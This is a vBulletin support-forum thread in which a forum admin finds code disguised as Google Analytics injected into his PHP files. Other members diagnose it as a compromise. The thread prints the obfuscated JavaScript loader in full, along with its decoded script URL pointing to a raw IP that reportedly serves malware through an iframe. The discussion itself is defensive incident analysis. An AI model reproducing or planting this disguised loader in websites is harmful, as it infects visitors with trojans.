Go Back   vb.org Archive > vBulletin 3 Discussion > vB3 Programming Discussions
FAQ Community Calendar Today's Posts Search

Reply
 
Thread Tools Display Modes
  #1  
Old 06-10-2009, 09:56 PM
taytaysdad taytaysdad is offline
 
Join Date: Feb 2009
Location: California
Posts: 29
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default Google analytics script

Hey guys, I have been getting an error for the past 2 days, and when I go to fix it I find Google Analytics code in my index.php files....how does this happen? Is it a setting that I have allowed?

I can put up the code when it happens again.

Has this happened to anyone else?
Reply With Quote
  #2  
Old 06-10-2009, 11:42 PM
Lynne's Avatar
Lynne Lynne is offline
 
Join Date: Sep 2004
Location: California/Idaho
Posts: 41,180
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

It's actually added to the index.php file on your server? Or it is in the page source of your index.php ? And I assume you don't have google analytics on your site? I can't really guess what the problem is until you post the actual error you are getting.
Reply With Quote
  #3  
Old 06-11-2009, 01:12 AM
taytaysdad taytaysdad is offline
 
Join Date: Feb 2009
Location: California
Posts: 29
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING, expecting ',' or ';' in /home/bud101/public_html/forums/admincp/index.php on line 1247

Yes, additional code is actually placing itself? inside the my code at certain lines, it has happened in my index files, admincp file (above), and Im having an issue viewing bog entries, all the same parse error.

The google anaytics thing has happened twice so far, once a day so far. Everytime it happens I have to edit the code by removing a block of code that has google analytics in it.

Im going to fix the above error now, I'll post the code that I remove.

--------------- Added [DATE]1244686505[/DATE] at [TIME]1244686505[/TIME] ---------------

Here's the code I removed, after removal site runs normally.
Code:
<?php echo '<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' " + '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&6!@!#^5(@#!.!&$1@#4)8#&/($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "' type='text/javascript'%3E%3C/script%3E"));
</script>
<script type="text/javascript">
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>
Reply With Quote
  #4  
Old 06-11-2009, 01:25 AM
Brandon Sheley's Avatar
Brandon Sheley Brandon Sheley is offline
 
Join Date: Mar 2005
Location: Google Kansas
Posts: 4,678
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

I've always added it at the very end of the footer template
Reply With Quote
  #5  
Old 06-11-2009, 03:22 AM
Lynne's Avatar
Lynne Lynne is offline
 
Join Date: Sep 2004
Location: California/Idaho
Posts: 41,180
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

If code is actually being added to your files on your server and you aren't the one doing it, then someone has access to your server. You should be talking to your host about this and ask them to help figure out who is accessing your server and how.
Reply With Quote
  #6  
Old 06-12-2009, 06:42 AM
UKBusinessLive UKBusinessLive is offline
 
Join Date: Sep 2008
Location: Essex, United Kingdom
Posts: 1,637
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Quote:
Originally Posted by taytaysdad View Post
Hey guys, I have been getting an error for the past 2 days, and when I go to fix it I find Google Analytics code in my index.php files....how does this happen? Is it a setting that I have allowed?

I can put up the code when it happens again.

Has this happened to anyone else?
As Lynne says, Has someone else had access to your server and forum root??

If you then you must of added the Analytics code into your index.php by mistake, I take it you have a Google Analytics account??

If you havn't and you didn't add it to your account i would delete the code and change all your server usernames and passwords immeadiately, if someones done this and messed up your index.php, theres no telling what other damage they could of done to your site and server.

If you did add it, and now you know its in the wrong place just take it out from the index.php file and add it to the bottom of your footer like loco recommends

good luck, let us know how you got on.
Reply With Quote
  #7  
Old 06-13-2009, 12:14 PM
Carnage Carnage is offline
 
Join Date: Jan 2005
Location: uk
Posts: 760
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

its not google analytics

its a crack. more info when i have it, but the code its writing to your site is:

HTML Code:
"<script sr?='google-analytics.com/ga.js' src='http://91.212.65.148/ga.js' type='text/javascript'></script>"
--------------- Added [DATE]1244899159[/DATE] at [TIME]1244899159[/TIME] ---------------

On further analisis, the javascript file it downloades writes an iframe to the site, the iframe opens a site which is known for installing malware and trojans. such behaviour will make it look like the trojan came from your website.

You need to warn your visitors, stop that code from appearing and change any admincp, hosting account etc passwords asap. Also, scan your own machine for trojans etc.

You're visitors have probably been saved by the fact that whoever added the code forgot to escape it properly, causing the parse error. If I were you, i'd check ALL your files to see if they managed to get the code right in one of the other files. (vbulletin will do this for you under matanance for its own files)
Reply With Quote
  #8  
Old 06-18-2009, 05:00 AM
taytaysdad taytaysdad is offline
 
Join Date: Feb 2009
Location: California
Posts: 29
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

Fixed, was actually the forum ad management add-on that was causing it.

I have disabled it and the error hasnt happened since.

Thanks everyone for all the help!
Reply With Quote
  #9  
Old 06-20-2009, 12:39 AM
Carnage Carnage is offline
 
Join Date: Jan 2005
Location: uk
Posts: 760
Благодарил(а): 0 раз(а)
Поблагодарили: 0 раз(а) в 0 сообщениях
Default

which ad management add-on was this? It seems it may have a security error.

Read my above post carefully. It wasn't an accident that code got there.
Reply With Quote
Reply


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT. The time now is 09:42 PM.


Powered by vBulletin® Version 3.8.12 by vBS
Copyright ©2000 - 2025, vBulletin Solutions Inc.
X vBulletin 3.8.12 by vBS Debug Information
  • Page Generation 0.04764 seconds
  • Memory Usage 2,242KB
  • Queries Executed 11 (?)
More Information
Template Usage:
  • (1)SHOWTHREAD
  • (1)ad_footer_end
  • (1)ad_footer_start
  • (1)ad_header_end
  • (1)ad_header_logo
  • (1)ad_navbar_below
  • (1)ad_showthread_beforeqr
  • (1)ad_showthread_firstpost
  • (1)ad_showthread_firstpost_sig
  • (1)ad_showthread_firstpost_start
  • (1)bbcode_code
  • (1)bbcode_html
  • (1)bbcode_quote
  • (1)footer
  • (1)forumjump
  • (1)forumrules
  • (1)gobutton
  • (1)header
  • (1)headinclude
  • (1)navbar
  • (3)navbar_link
  • (120)option
  • (9)post_thanks_box
  • (9)post_thanks_button
  • (1)post_thanks_javascript
  • (1)post_thanks_navbar_search
  • (9)post_thanks_postbit_info
  • (9)postbit
  • (9)postbit_onlinestatus
  • (9)postbit_wrapper
  • (1)spacer_close
  • (1)spacer_open
  • (1)tagbit_wrapper 

Phrase Groups Available:
  • global
  • inlinemod
  • postbit
  • posting
  • reputationlevel
  • showthread
Included Files:
  • ./showthread.php
  • ./global.php
  • ./includes/init.php
  • ./includes/class_core.php
  • ./includes/config.php
  • ./includes/functions.php
  • ./includes/class_hook.php
  • ./includes/modsystem_functions.php
  • ./includes/functions_bigthree.php
  • ./includes/class_postbit.php
  • ./includes/class_bbcode.php
  • ./includes/functions_reputation.php
  • ./includes/functions_post_thanks.php 

Hooks Called:
  • init_startup
  • init_startup_session_setup_start
  • init_startup_session_setup_complete
  • cache_permissions
  • fetch_threadinfo_query
  • fetch_threadinfo
  • fetch_foruminfo
  • style_fetch
  • cache_templates
  • global_start
  • parse_templates
  • global_setup_complete
  • showthread_start
  • showthread_getinfo
  • forumjump
  • showthread_post_start
  • showthread_query_postids
  • showthread_query
  • bbcode_fetch_tags
  • bbcode_create
  • showthread_postbit_create
  • postbit_factory
  • postbit_display_start
  • post_thanks_function_post_thanks_off_start
  • post_thanks_function_post_thanks_off_end
  • post_thanks_function_fetch_thanks_start
  • post_thanks_function_fetch_thanks_end
  • post_thanks_function_thanked_already_start
  • post_thanks_function_thanked_already_end
  • fetch_musername
  • postbit_imicons
  • bbcode_parse_start
  • bbcode_parse_complete_precache
  • bbcode_parse_complete
  • postbit_display_complete
  • post_thanks_function_can_thank_this_post_start
  • tag_fetchbit_complete
  • forumrules
  • navbits
  • navbits_complete
  • showthread_complete